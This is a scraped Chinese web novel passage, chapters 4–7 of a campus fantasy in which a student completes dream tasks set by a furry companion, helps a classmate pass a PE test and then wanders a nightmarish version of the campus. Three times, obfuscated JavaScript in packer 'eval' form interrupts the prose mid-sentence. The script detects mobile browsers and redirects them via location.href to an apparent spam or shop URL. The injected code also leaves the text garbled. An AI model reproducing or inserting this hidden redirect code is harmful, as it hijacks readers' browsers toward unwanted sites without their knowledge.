谢知榆原本以为自己都说道这个份上了,江亦钦也该听懂自己的意思了,可他却直接坐到了谢知榆的前面:“没事,我正好也要回宿舍,一起吧。” 谢知榆听他这么说,也不再好多说什么,没管他,拿出手机在宿舍群里求安慰。 一只鱼:我发誓,我跟食堂的卤蛋不共戴天! 小月儿:梨子,怎么样,伤得严重吗,需要我们去接你不? 一只鱼:不用了,我已经在坐校车回来的路上。 叶子:撞你的是谁啊,谁走路不长眼! 舒:对啊,谁敢撞我们的小鱼。 一只鱼:很不幸,没长眼睛的是我,我把别人撞了,伤害的却是我自己。哭泣! 舒:下次碰到他,再撞回去! 谢知榆知道林舒是在开玩笑,刚想回她,就看到许晓月发的消息。 小月儿:再撞几次受伤的也是我们梨子啊。 许晓月总是用最平淡的语气说最幽默的话,其他两个人在群里整齐划一地发了一连串的哈哈。 谢知榆决定,跟她们绝交两分钟。 校车停在了宿舍楼下,谢知榆趁江亦钦没反应过来,忍着痛,扭曲地向宿舍楼里连跑带走地冲去,像是身后有恶犬在追一样。 等到估计江亦钦看不到她的地方,谢知榆面目扭曲:“痛痛痛。” 一只鱼:好姐姐们,快来楼下接我,好痛! 一只鱼:这该死的学校搞这么多绿化干什么,有钱给我多修点电梯! 小月儿:来啦,我的宝。 谢知榆在楼梯间站也不是坐也不是,手扶着腰。 “知榆,还好吗?”许晓月的声音在楼梯上响起。 叶雨兰噔噔地往下走,边走边说:“我可怜的鱼儿啊,怎么会这么倒霉!”一边说,一边往宿舍楼外看。 谢知榆有气无力地说:“别看了,人已经走了。” 叶雨兰拿过谢知榆背上的书包,挎在手臂上。 “诶哟,人家才没有看呢,没发生点故事吗?”叶雨兰眨巴眨巴眼睛,八卦地说。 “没有故事,全是事故,”谢知榆被许晓月和林舒扶着,一步一步往上走,“在你们面前丢脸不重要,在不认识的人面前丢脸不重要,最可怕的就是在半生不熟的人面前丢脸。” “能不能这辈子都别让我碰见他了!”谢知榆发出最真切的祈祷。 艰难抵达宿舍,舍友们带回来的刀削面还温热着,谢知榆一边感谢宿舍的义母们,一边含泪吃下它:“对了,谁付的钱啊,我等会赚给她。” 叶雨兰回答道:“是林舒,她正好也要去那个档口。” “要不最近饭我们都给你带回来吧,你这情况还是少走动为妙。”许晓月看着谢知榆坐着都难受的样子,体贴地说。 “还是我们月月对我好。”谢知榆对许晓月张开了手,求抱抱。 林舒假装生气地说:“看来是我做的不够好了,这云南白药看来是某人不需要了。”说完,扬了扬手上的云南白药。 “哎呀,你们都是对我最好的,是我说错话了。”谢知榆陪笑道。 “喏,云南白药喷一下吧,”林舒很快被哄好了,她看了看谢知榆受伤部位,“你好喷药吗,要我帮你不?” “没事,我自己能行!” 幸好是周五,谢知榆去校医院针灸后,老老实实地在宿舍躺了两天,幸好不是很严重,已经能正常走路了。连续好几天,毛球都没有出现,她也没有再做梦了,谢知榆都怀疑自己之前是出现了幻觉,其实根本没有这回事。 周四有体育课,本来谢知榆想请假不去上体育课的,但是她想反正好的差不多了,如果这节课不去的话,后面补测只能一个人去找老师更难受。 谢知榆和叶雨兰选的是排球课,不是她俩喜欢排球,大一她们抢课的时候系统卡得不行,等她们终于挤进抢课系统的时候,只剩下体育课还有余量了。等她们抢完课,还有一个更绝望的消息,就是抢到的课要一直上两年。 十月底的天气不算炎热,但下午两点阳光正烈,谢知榆在排球场上跑动了一会儿,还是感觉到脸颊升温了,她用手背擦了擦额角的汗珠:“叶子,我打不动了,什么时候开始跑800啊,再打下去我是一点力气都没有了。” “估计快了,走吧,我们先去边上缓一下。” 她们两个溜到排球场边上,大多数人都没再打排球了,偷溜在树荫下等着老师测800m。老师看大家都没心情练习排球了,也只好整队:“来,集合,大家跟我一起上跑道,先测女生800米,男生做准备,跑完先来我这录成绩,录完成绩大家可以下课了。” 这次800米,谢知榆打算采用慢跑策略,因为经过她严密的计算,只要她在规定时间内刷完健康跑的次数,就算800米一分没有也没事,只是怕不跑的话老师给她的平时分扣了,那就危险了。 说到健康跑,谢知榆就想到刚上大学的时候知道一次性要跑2000米,她是绝望的,老实的她选择一边跑一边走,后来变成她们宿舍一人跑一圈,再再后来她们就直接坐校车坐够距离,然后再来操场的打卡点打卡。 也就是说,现在谢知榆的运动量除了每周的体育课,就只剩下上课的一小段路了,可想而知,她现在的运动水平有多差。 没有任何心理负担,谢知榆不快不慢地跑完了800米,跑完甚至还有力气扶起想要坐在草坪上的叶雨兰:“叶子,跑完步先别坐,起来走两步。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565460|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我下个学期……一定……提前练一下800米,太难受了,”叶雨兰一边平复着呼吸,一边断断续续地说,“等会去吃顿好的,安慰一下我受伤的心灵。” 谢知榆从包里那出一包纸,抽出一张递给叶雨兰:“好啊,先回去洗个澡吧,上完体育课整个人都黏糊糊的。” 拖着疲惫的身体,谢知榆和叶雨兰还去小雪那里买一杯柠檬水,顺便还给她们两个带了一杯。上完体育课,宿舍四个人都要洗澡,她们决定用最公平的方法——摇骰子。 “哈哈,我是6,我先去了,爱你们!”老天眷顾,谢知榆终于不再倒霉了。 “我是1,快快,你们谁再摇一个1出来。”林舒祈祷道,可惜一个许晓月摇了一个5,一个叶雨兰摇了一个3. 谢知榆洗完澡出来,嘚瑟地在林舒面前走了一圈,林舒轻拍了一下谢知榆的腰:“别给我在这嘚瑟哦,等会就收拾你。” 谢知榆老实地坐回自己的椅子上,用毛巾搓着头发:“对了,等会出去吃饭不,反正晚上没课。” “可以啊,正好我想吃干锅了。”许晓月表示赞同。 谢知榆对吃什么无所谓,只是想吃顿好的,林舒和叶雨兰叶表示都可以。 快速吹完头发,谢知榆躺到床上:“困死了,又是早八又是体育课的,你们洗完澡叫我哦,我先眯一会儿。” 坐在下面的林舒和叶雨兰应了一声,谢知榆安心地睡了过去。 不一会,谢知榆就知道没好事发生,她刚一放下手机,眼睛一闭就进入梦乡了。 谢知榆先是眼前一阵空白,下一秒,她眼前就是刚刚上体育课的场景。这毛球,三天不打上房揭瓦,没给她提前说就直接开启梦境了。 “毛球,你给我出来,”谢知榆在心里喊道,“你干的是什么好事,不提前说就把我拉进来。” 毛球一个闪现就出现在她面前,周围一切静止下来:“先别说这个,看,我这次的样子怎么样。” 谢知榆扫视了毛球一眼,嗯,长身体了:“丑,还有别转移话题,是不是好久没收拾你了。” 毛球不满她的回答,妖娆的地旋转了一圈,谢知榆一把掌拍在它脑袋上:“升级这么多天,不就是一个毛茸茸的球加一个毛茸茸的圆柱吗,手呢,脚呢,我辛辛苦苦赚的能量你就花在这上面?” “肤浅,你真是太肤浅了,没看到我的毛毛都更加光滑油亮了吗,”毛球本来还在一本正经的胡说八道,看到谢知榆的巴掌又要落下来了连忙说,“我还升级了其他功能呢,来戳我脑袋一下。” 谢知榆从来没有见过这样的要求,戳了一下它,下一秒,她的面前浮现了一块板子:“任务提示:谁能救救我的体测!” “看,还不错吧,以后再也不用你一个一个问,才能知道任务是什么了。”毛球很是得意。 谢知榆欣慰地拍了拍毛球:“终于有点用,但是你这不也没写是谁吗?” 毛球对着谢知榆嘿嘿一笑:“这不是功能还需完善吗,这就靠您加油了!” 谢知榆看着满操场的人,眼前一黑又一黑。 5. 第 5 章 “怎么了,仰卧起坐做傻了?”叶雨兰看着突然一脸呆滞的谢知榆疑惑道。 谢知榆强撑着笑容:“没事,只是在担心等会的体测。” 叶雨兰点了点头附和道:“早知道我就认真跑健身跑了,不然也不需要用800米来凑分了。” 谢知榆边听着叶雨兰说话,一边到处张望,上体育课的人这么多,她从哪去找人呐! 不过幸好她们体测的时间是不定的,也就是说,这节课不是所有的班都要体测,她只要观察一下哪些班这节课在体测就能缩小范围。 说的简单,但她一看,排球场上除了她自己的班还有一个班在体测,两个班加起来几十号人,还不包括篮球场和足球场上的班级。一个个排查也太费时间,更何况她还得装作若无其事的样子,不能被叶雨兰发现异常。 之前她也不是没想过,直接在所有人面前大喊,看谁有反应,还没等她说完,她就眼前一黑,重开了。 毛球对此的解释是:虽然是在梦中,但是还是要讲点逻辑的,要是梦中人感到奇怪的话,梦境很容易崩塌的。 “叶子,你先在这歇着,我去趟卫生间。”谢知榆找了个借口,趁机脱离叶雨兰的视线,脚步轻快地往体测区域挪去,眼睛飞快地扫过每一个正在测试的人,心里默念:毛球,你倒是给点提示啊,总不能让我瞎猜吧。 毛球的声音在她脑海里慢悠悠响起:“别急别急,我感知到了,任务目标就在体测队伍里。”话音刚落,谢知榆就听到不远处传来“砰”的一声。 她顺着声音看过去,只见一个扎着高马尾的女生摔倒在跳远垫子上,手和膝盖处都被磨破出血了,旁边的同学看她摔倒,连忙上搀扶,将她扶到一旁坐下。女生手里攥着体测表,脸上满是着急和委屈,嘴里还小声念叨着:“怎么办啊,跳远没过就算了,等会还有800米,这下肯定要挂了……” 谢知榆心里一动,悄悄凑过去,刚想开口询问,就见女生抬起头,眼眶红红的,正是她们隔壁班的李敏——平时在上大课的时候经常能碰到,不算熟,但也不算陌生。李敏看到谢知榆,愣了一下,连忙擦干眼泪,有些不好意思地低下头:“你怎么在这?” “我刚测完仰卧起坐,路过这边看到你摔倒了,”谢知榆指了指她的膝盖,“怎么样?严不严重?” 一提这事,李敏的眼睛又红了:“嗯,刚才跳的时候没站稳,崴到了,疼倒是还好,就是我体测肯定过不了了,要是体测挂了,这个学年的奖学金就没希望了,我还……”话还没说完,她声音又哽咽起来。 谢知榆是听说过她的事迹的,平时不管是上什么课都坐在第一排,周末也基本不会待在宿舍,一有时间就去图书馆,上个学期期末她还找李敏要了一份专业课的笔记。 谢知榆正想安慰她,脑海里突然响起毛球的提示音:“叮!找到任务目标——李敏!任务详情:帮助李敏完成体测,顺利通过所有项目。” 李敏擦了擦眼角的泪珠,不想让别人可怜她:“我没事,在这休息一会就行,你快去体测吧。” “那怎么行,你这伤口肯定要处理的呀,你等一会儿,我去体育馆找一下医疗箱。”谢知榆皱了皱眉,显然不同意李敏的说法。 “你先坐在这儿,我马上回来。” 谢知榆向着体育馆快步走,手机里叶雨兰的消息不停轰炸:“你去哪了啊,怎么还没回来?老师让我们集合,先练排球一会跑800了。” “快回消息啊,老师问你去哪了。” 她拿出手机:“叶子,我肚子有点不舒服,你跟老师说一下,我马上回来。” 体育馆内是羽毛球班在上课,场内羽毛球不停飞过来又飞过去,谢知榆在枪林弹雨中小心穿梭,终于让她摸到了医疗箱旁边。 “老师,外面有人摔伤了,我来拿一下碘伏和棉签。” 老师起身去医疗箱里拿东西:“伤的严不严重啊,要是严重的话可不能拖延,该去医院还是要去的。” “好的,谢谢老师。”谢知榆接过老师手中的碘伏和棉签,快步往体育馆外走去。 “小心!” 谢知榆身侧传来一声大喊,在排球场上练就的蜘蛛感应让她下意识往身后一躲,正好接住那颗飞来的羽毛球,只不过时用脑袋接的。 她转过头去,循着羽毛球飞来的轨迹,看到了打球的人,那人从对面跑过来,忙不迭地向她道歉。 “没事没事。”谢知榆摆了摆手,却看到远处有一个熟悉的人。 怎么又是江亦钦? 江亦钦察觉到她的视线,眉宇间带着几分莫名的诧异,眼神里全然是陌生的疑惑。 谢知榆连忙收回目光,心底满是不解。按道理来说,梦境里的人事皆源于现实,江亦钦现实中本该认识她才对,怎么此刻看她的眼神全然像看一个陌生人? 这人不管是现实还是梦境,行事都透着一股古怪。上次偶遇时过分热络殷勤,明明两人素来不熟;如今在梦里,反倒装作互不相识。 她来不及多想,拿着东西匆匆赶回排球场。李敏依旧安静坐在原地,见她回来,轻声道:“真是麻烦你了。” “这点小事不值一提。”谢知榆弯唇一笑,语气格外真诚,“上学期期末多亏了你的笔记,不然我有机化学恐怕真要挂科补考了。” 李敏闻言露出一抹羞涩浅笑。谢知榆随即半蹲下身,捏着棉签细心替她清理膝盖伤口上的细小沙砾,再轻轻蘸取碘伏消毒。 “好了,处理干净了,这两天千万别碰水,免得感染发炎。体测的事你别愁,我待会儿帮你跟体育老师沟通,剩下的项目申请下节课补测就好。” “谢谢你。” 谢知榆正想再说几句宽慰的话,眼前忽然猛地一黑,天旋地转间,瞬间重回体育课刚开始的那一刻。 “又在发什么呆呢?我发现你最近总走神。”叶雨兰伸手在她眼前轻轻晃了晃,关切问道,“是不是哪里不舒服?” 谢知榆回过神,含糊应了两声,心底却满是疑惑,默默在心里跟毛球对话:“怎么回事?任务没完成吗?我明明都帮她处理好伤口,也说了她可以申请补测了,处理得不是挺妥当吗?” 毛球不知道从哪里掏出一块小黑板,在上面写下几个大字“救救我的体测吧”。 “对啊,我这不救了吗,她可以下周补测了呀。” 毛球高深莫测地摇了摇头:“错错错,跳远不也是体测之一吗?” 谢知榆反应过来了,连忙往体测区跑去,等她气喘吁吁地赶到时,刚好下一个就是李敏。 她二话不说,拔腿就往体测跑道狂奔,一路气喘吁吁冲到跳远场地时,刚好轮到李敏上前准备试跳。 “李敏!先等等!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565461|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清亮的一声呼喊,瞬间吸引了周围所有人的目光。谢知榆也顾不上旁人诧异的眼神,快步挤到近前,盯着李敏认真叮嘱:“先检查一下鞋带系牢没有,再好好活动一下脚踝关节,千万别着急跳,小心崴到脚!” 说完又怕旁人觉得她举止怪异,忍不住小声补了句:“你们别多想,我脑子真没问题……” 李敏虽一头雾水,却还是听话地蹲下身子,认认真真重新系紧鞋带,又起身原地踮脚、拉伸腿脚,仔细活动开筋骨。 谢知榆站在一旁,暗暗松了口气,对着她比了个加油的手势,眼底满是鼓励:“慢慢来,稳住重心,调整好节奏再起跳,你肯定没问题的!” 李敏深吸一口气,对着谢知榆轻轻点了点头,压下心底的紧张,走到起跳线前站定。 周围围观的同学也安静下来,目光都落在她身上。谢知榆屏住呼吸,在心里默默替她打气,生怕再出半点意外。 只见李敏微微屈膝摆臂,目视前方,找准节奏猛地向前一跃,身子在空中划出一道轻盈的弧线,稳稳落在软垫正中央。 落地站稳的那一刻,裁判老师低头记下成绩,淡淡开口:“合格。” 李敏眼睛瞬间亮了起来,转头第一时间就看向场外的谢知榆,眼里满是感激。 就在这时,谢知榆脑海里再次响起毛球欢快的提示音:“叮!任务进度更新!成功阻止李敏跳远受伤失利,稳住首项成绩!接下来只需帮她顺利跑完800米,即可完成全部任务!” 谢知榆悬着的心终于放下大半,笑着朝李敏比了个胜利的手势。只要接下来800米不出岔子,这次梦境任务就能完美通关了。 她们两个班都是排球课,正好要一起跑800米,谢知榆这才反应过来,难怪上次跑步没看到她。 她回到自己的班级,老师拎着号码牌:“我们班的女生一人拿一个,就直接去跑道集合。” 路过李敏她们班,谢知榆用口型对着她说了句加油。 “怎么给别人说加油,都没给我说。”叶雨兰假装吃醋道,“你个渣女!” “哎哟,哪有嘛?”谢知榆把头靠在叶雨兰肩膀,撒娇道。 “那能怎么办,只好原谅你了。” 说完,她们两个对视一瞬,哈哈大笑起来。 800米开跑后,全程倒是一路平稳,没有半点意外。谢知榆始终不远不近跟在李敏身后,时刻留意着她的状态,生怕她脚步不稳不慎摔倒。 本就不擅长长跑的她,还要分心操心别人,全程跑完早已体力透支。冲过终点线后,谢知榆直接瘫倒在草坪上,四肢摊开,半点都不想动弹。 “就不能给我加点buff吗,比如身轻如燕之类的?” “规则不允许哦,好啦,本轮梦境任务圆满完成!” 话音落下的瞬间,周遭的操场人声、风吹草木的声响渐渐变得模糊、缥缈。眼前的景物层层虚化,谢知榆只觉得意识像沉入温水里,缓缓变得昏沉、松弛,整个人陷入一片朦胧的暖意中。 耳边隐约传来轻柔的呼唤,一遍又一遍,温柔又熟悉。 “知榆,快醒醒啦。” 她含糊地低应了一声,眼皮重得像坠了铅,缓了好半晌,才慢慢掀开眸子。 许晓月见她醒了,笑着催道:“别睡啦,快起来收拾收拾,我们不是说好出门吃饭吗。” 6. 第 6 章 “诶,你们听说了吗,我们导儿好像要升走了,”林舒神神秘秘地对着她们三个说,“有可能都这个学期就要调任。” 谢知榆一边示意许晓月把碗递给她涮一下,一边不可置信地说:“不会吧,一点消息也没听到啊,而且就算要调走,不应该把我们这个学期先带完吗?” “不要啊,离开导员谁把我们当小孩!”叶雨兰是真的舍不得现在的导员,谁会不想要一个请假宽松、从不查寝、不强制参加活动的导员呢? 许晓月疑惑地说:“这消息可靠吗,那导员调走了,会把谁调过来啊?我听说我们隔壁学院的导员可严了,可千万别调过来啊!” “我在导员办公室的时候,听到其他老师聊天提了一嘴,多半是真的,至于要调谁来我们院,那还真不清楚。” 谢知榆安慰道:“我们都大二了,就算调过来一个严厉的导员,也多半会管大一的多一些,别担心。” “也是,反正我们这一个宿舍都老实得不行。”说完,林舒和她们三个对视一眼,顿时忍不住笑了起来。 周四餐馆没有多少人,她们没聊几句,餐馆的阿姨就端着香喷喷的干锅向她们走来:“干锅好咯!妹妹们,小心烫。” 滚烫的热油滋滋作响,浓郁的香辣热气扑面而来,与肉香交织在一起,单单看着就让人食欲大开。 “开吃,开吃!” 上完体育课,大家早已饿得饥肠辘辘,满心满眼都只剩桌上喷香的干锅,一时间谁也顾不上闲谈,个个埋头专心干饭。 经过一番激烈的战斗,叶雨兰率先举手投降:“我不行了,太撑了。” “我也是,让我再吃一口我就不吃了,”谢知榆把最后一口塞进嘴里,“这一顿吃完,我应该近一个月不会想吃它了。” "唉,为什么明天早上有早八啊,我不想早起!"林舒对着课表哀叹道。 许晓月轻拍了几下林舒后背:“好啦,明天上午上完课,下午就课了。” 吃完,坐着休息了一会,她们就打算直接回宿舍了。 在回宿舍的路上,谢知榆看到了迎面走过来的李敏:“哈喽呀!” 李敏疑惑地看了看周围,才反应过来谢知榆是在跟她打招呼,她小声地回了句:“哈喽。” “谢谢你之前的笔记啦!”谢知榆对她甜甜一笑,“对了,你的腿怎么样了?” “没事。小伤,已经好了。”李敏明显对谢知榆的自来熟有点无措,眼神不知该往哪里看。 “那我先走了,拜拜。” “嗯,再见。” 叶雨兰一把搂住谢知榆的腰,挠了挠她最怕痒的地方:“说,什么时候跟她这么熟了,背着我有好朋友了是吧?” “别……别挠了,好姐姐,放过我吧,”谢知榆从叶雨兰的怀里挣扎出,“我不就是感谢一下别人的笔记嘛。” 叶雨兰放过了她,谢知榆立马躲到许晓月和林舒中间:“好啊,你们两个都不帮我!我生气了!” “小心我们三个一起对付你哦!”许晓月开玩笑道。 谢知榆立马老实起来,拉了拉刚刚扯皱的衣角,一本正经地走到她们三个前面。太阳已走到天边,天空悬着一抹橘红色,与热闹的校园呼应着,让人卸下了一身的疲惫,只想在夕阳下漫步。 她们三个慢慢悠悠地往宿舍走去,偶尔有一丝微风吹过,不算凉爽,但吹散了一天的疲倦。 睡觉之前,谢知榆严肃拷打了毛球:“今天晚上不会再有梦境了吧,还有,今天这样的情况我不想再有下次了,以后有任何事都要提前跟我说。” 谢知榆不是商量的语气。 相处也有一小段时间了,毛球也知道谢知榆吃软不吃硬,连忙认错:“我错了,下次一定不会了。今天晚上没有任务了,你可以安心睡觉了。” 得到自己想要的答案,谢知榆态度也软了下来,拿起旁边的小毛梳,顺着毛球的毛毛的方向轻梳起来。 毛球最喜欢她给它梳毛了,有一种全身放松,什么都不想思考的感觉,毛球听谢知榆说,这就是想要休息的感觉。毛球之前还不能理解,为什么人类大多都喜欢睡觉,没想到这么舒服。 它还说,在它那里是没有智能体会休息的,要是不能工作了,就会报废,然后再有下一个智能体来取代上一个。 谢知榆把毛球放在自己枕边,舒舒服服地平躺着:“那你现在就能休息了。”有一个这样不会掉毛的毛球还是挺好的,她之前就一直想养一只小猫,现在虽然有点出入,但也算是实现心愿了吧。 没过多久,谢知榆平稳的呼吸声传到毛球旁,毛球给自己找了一个不会被她翻身压住的地方,贴着谢知榆安静地体验睡觉的感觉。 不知过了多久,谢知榆感觉自己都要醒来的时候,突然她被拉入一个奇怪的梦境。 还是下午的排球场,但是周围的一切都充斥着诡异的感觉,她感觉手里的排球不太对劲,她往下看。 “啊!” 手里不是排球,而是一颗血肉模糊的肉球,谢知榆不敢想象这到底是什么,她把肉球丢了出去,拿出纸巾不停地擦拭。 叶雨兰疑惑地转过头来,好像不知道她在尖叫什么:“怎么了?不是说练会儿排球吗?” 如果不是叶雨兰头转了180度的话,谢知榆还能正常地和她对话。 谢知榆强压下心头的害怕:“没事,看到一个虫子了,我先去上个厕所。”说完,她就想快步走开。 “等一下。” 谢知榆被这一声喊得全身僵硬,挤出比哭还难看的微笑:“叶子,怎么了?” “你走错了,厕所在那边。” 谢知榆背过身去,长舒了一口气,在心里呼唤着毛球,不知怎么的,之前一喊就到的毛球,这次好久都没出来。她简直是要崩溃了,毛球也太不靠谱了吧,这怎么办啊? 她待在男厕所的隔间里,不要问她为什么不去女厕所,明显恐怖小说女厕所刷怪几率更大吧!谢知榆想就躲在这里,又觉得厕所可能比外面更恐怖。 她握紧胸口的玉佩,在她开始连续做了几天的梦后,她就让她妈妈把她外婆传给她的玉佩快递到学校了。 “如来佛祖,观世音菩萨,玉皇大帝……保佑我平安无事啊,信女愿接下来的日子荤素搭配。”谢知榆小声念叨着。 仿佛是听到了她的祈祷,厕所门口出现了脚步声,谢知榆小心透过门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565462|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝,想看清来的是人是鬼。 也怪他们学校厕所装修太好了,她费老劲才扒开一条小缝,只能看到那人的背影。进来的应该是个正常人,也不能说是正常人,只能说没有血刺呼啦的打扮。 谢知榆不敢暴露自己在厕所里,小心屏气,在厕所站得腿都麻了也不敢动,那人站在洗手台旁,不停地洗手,感觉都要把手洗脱皮了。 “还是个爱干净的‘人’。”谢知榆在内心表扬道,要不是环境不允许,她也想洗一下自己捧过“排球”的手。 “冬眠假期刚刚结束,我还有点糊涂……” 谢知榆一听到她手机铃声响了,她就知道完了,彻底完了。她眼疾手快地挂断电话,把手机调成静音模式,祈祷外面的人以为是幻听了。 手机消息框上还有叶雨兰看她半天没回来,发的消息。 “谁?”那人冷声说。 谢知榆想找一块豆腐撞死,怎么能这么背!!! 她是要出去说,“hi,别看我长得挺正常的,其实我不是人。”还是“对不起,走错厕所了,我马上走!” 那人走到隔间门口:“是自己出来,还是我帮你出来?” 虽然挺礼貌的,但是当事人表示这根本没有选择的余地啊,谁知道他帮忙出来,是一块还是一块一块地出来。 谢知榆老实且怂地拧开了门锁,挣扎了好一会,一把把门打开,然后,门热情地轻吻了对面那人的额头。 “死定了,死定了!怎么办,怎么办?”谢知榆在内心呐喊。 她深深地鞠一躬:“对不起,我不是故意的!”猛地一起身,谢知榆的头直接撞上了那人的下巴。 那人“嘶”了,从这简短的语气词中,谢知榆听出了他的无语。 “这下是真死定了!” 谢知榆也是有尊严的,她闭上眼睛,梗起脖子:“要杀要剐随便你,只是能不能用一个不那么痛的死法?” “谁说要杀你了?”那人也是被谢知榆的内心戏惊到了。 闻言,谢知榆慢慢睁开紧闭的双眼。 “是你!” 那人还很疑惑:“你认识我?” 谢知榆冷哼一声,又想起自己好像打不过他:“不认识,看错了。” “你是觉得我很傻吗?说,不然……”江亦钦用手在脖子上比划了一下,意思不言而喻。 “可能你长的比较大众吧,哈哈。”谢知榆尬笑几声。 显然,江亦钦没接受这个说法。 “记错了,我好像是之前看到过你。”老实人谢知榆上线。 江亦钦勉强接受了这个说法:“跟上。” “那啥,去哪啊?我感觉这里就挺安全的,要不就在这里待着吧。” 江亦钦意味不明地笑了一下,也不管谢知榆跟上没有,转身大步往前走。 谢知榆转头看了一下厕所,确实有点诡异,虽然不知道和江亦钦比起来谁更诡异,但是要让谢知榆一个人在厕所里不知道要待到多久,她还是选择跟着江亦钦吧。 想清楚后,谢知榆朝着江亦钦跑去。 江亦钦已经走了一段距离了,她边喊着,边小跑着追上去:“等我一下!” 7. 第 7 章 不久前还是艳阳高照,现在整个学校都被黑暗笼罩了,平时暗淡的路灯也罢工不再发光了,夜空中只有几颗星,顽强地撒落一点光辉。 夜晚,校园并不安静,反而是一场狂欢。 混乱得如同一场失控的闹剧,却又透着刺骨的诡异。 不远处的空地上,几个身影佝偻着背,蹲在操场上,指尖捏着圆滚滚的眼珠,像玩弹珠似的互相碰来碰去,碰撞声并不明显,但是在内心无限放大后,就仿佛在耳边“砰砰”作响。 人弯腰摆出专业的姿势,按住旁人的头颅,竟将那温热的头颅当作篮球,熟练地胯下运球,脸上是那么专注与坦然,一个背身,冲出其他人的包围,被当作球的人却毫无反应,如同木偶般任由摆弄。 球在半空中划出一道完美的弧线,落入篮网中。 “好球!”周围的“人”在为进球欢呼。 谢知榆忍不住瑟缩一下,双手环抱在胸前,不停抚摸着双臂,显然这个场面的冲击力超出她的承受范围了。 她忍不住弯下身子,扶住大腿,干呕几声,余光瞥到有“人”好像注意到这边的动静,谢知榆强忍着不适,憋住了反胃的感觉。 眼里的泪珠不停打转,慢慢红了眼眶。 江亦钦半蹲在她旁边,从包里拿出一张纸递给她:“给,擦擦吧。” 谢知榆接过纸巾,狠狠的在脸上一把擦过,不就是梦吗,怕什么? 她重振旗鼓,避开那些人,迈着故作镇定的步伐往前走,走出了世界唯我独尊的感觉,只是眼角的余光始终不敢往那些人身上瞟,连脚步都带着一丝不易察觉的僵硬。 江亦钦没想到她居然适应得这么快,愣了一下,眼底闪过一丝诧异,随即快步跟上谢知榆的脚步,嘴角又勾起了几分玩味的笑意。 “你知道去哪吗,就走?”他快步跨步到她身边,并肩走着,语气又多了几分跳脱,“没想到你胆子还挺大的,刚才都快吐了,现在就不怕了?” “你就不怕我跟他们一样,等会把你吃了?” “哦,那你吃吧。”谢知榆敷衍地回道,显然她不觉得江亦钦会把她吃了。 没看到自己想要的反应,江亦钦也不恼,自顾自的跟谢知榆说:“我们是要去图书馆,晚上的图书馆可是很安全的哦。”说完,对着谢知榆俏皮眨眼。 “谢谢啊,你真是个好人。” 快步穿过杂乱的操场,脚下布满了不知是什么的杂物,踩上去发出细碎的咯吱声,偶尔还能瞥见地上蜷缩着的、一动不动的身影。 “诶,你真的不怕了吗?” 谢知榆停下脚步,看着在她身边叽叽喳喳的江亦钦:“同学你很吵诶,还有你崩人设了知道吗?” 快回到刚开始那个高冷的样子吧,谢知榆在内心呼喊,她严重怀疑江亦钦是在这里待疯了。 越是这样,江亦钦越想跟她说话:“你都不好奇这里为什么这样吗?我之前都没见过你?” 看看,给孩子憋成什么样了,逮到个人就疯狂说话。 谢知榆努力勾起嘴角,保持微笑:“不好奇,没变异,怎么安静会,好吗?” 梦里当然什么都会发生,这有什么奇怪的。 看到谢知榆真的不耐烦了,江亦钦总算闭上了他的嘴巴,安安静静的,像只落水小狗一样,跟在谢知榆身侧。 走出操场,遇到的人总算是正常一点了,至少没那么大的冲击了。 两人脚步加快穿过泛着冷光的人工湖,湖面平静得像一面镜子,黑色天鹅游动激起圈圈波纹。 江亦钦随手从路边捡起一根手腕粗的木棍,一路上,凡是挡路的杂物、或是靠近过来的人,他都挥棍利落挥开,动作干脆利落,眼底藏着一丝不易察觉的警惕,全然没了刚才的不着调。 谢知榆紧紧跟在他身后,目光飞快扫过周遭的人——他们神情麻木,眼神空洞,有的原地转圈,有的喃喃自语,有的重复着诡异的动作,全都沉浸在自己扭曲的世界里,仿佛周遭的一切都与他们无关。 江亦钦像是察觉到她的疑惑,头也不回地低声道:“别管他们,只要不主动打扰,他们就不会注意到我们。” 很快,两人抵达了图书馆。图书馆的大门虚掩着,推开门时,发出“吱呀”一声悠长的声响,在寂静的黑夜里格外突兀。 江亦钦随意推开一间研讨室的门,室内一片昏暗,他侧身示意谢知榆进去:“进来吧,这里晚上不会有人过来,相对安全。” 她犹豫了一下,拉过离门最近的一把椅子坐下,身体依旧微微紧绷,眼神警惕地打量着四周,生怕下一秒就会有诡异的东西冲进来。 “不用这么紧张。”江亦钦看着她紧绷的模样,嘴角勾起一抹淡淡的笑意,“我说了,这里很安全,那些‘人’不会来这里,至少晚上不会。” 谢知榆抬眸看了他一眼,没说话,只是依旧保持着警惕。 到了相对安全的地方,她才有精力去想问题:这还是她的梦吗?如果是的话,那要怎么样才能醒来?如果不是……? 谢知榆不敢想下去了,她就知道天上没有掉馅饼的事,听起来毛球的任务很好做,但是还有很多无法预见的情况会发生。 